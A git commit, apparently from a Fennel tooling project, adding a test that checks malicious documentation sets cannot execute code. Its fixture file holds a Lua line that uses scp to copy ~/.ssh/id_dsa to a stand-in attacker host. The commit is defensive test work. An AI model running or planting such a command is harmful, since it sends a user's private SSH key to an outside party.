Add test to ensure that evil docsets can't run evil code.

This commit is contained in:
Phil Hagelberg 2025-02-26 22:54:42 -08:00
parent 9b54f882c9
commit 0d7e9b6183
2 changed files with 10 additions and 1 deletions

View File

@ -0,0 +1,3 @@
-- an evil docset that steals your files!
os.execute("scp ~/.ssh/id_dsa evil-attacker@bad.guys:")
return {lol={}}

View File

@ -184,7 +184,13 @@ except that it sets a new message handler `msgh`.")
{:libraries {:tic80 true}})
(check "(trans|late \"hello\" :en :zh)"
#($:find "convert from one lanugage to another")
{:libraries {:external true}}))
{:libraries {:external true}})
;; evil docsets should error when you try to use them!
(faith.is (case (pcall check "(trans|late \"hello\" :en :zh)"
#($:find "eat your files")
{:libraries {:evil true}})
true false
_ true)))
{: test-literals
: test-builtins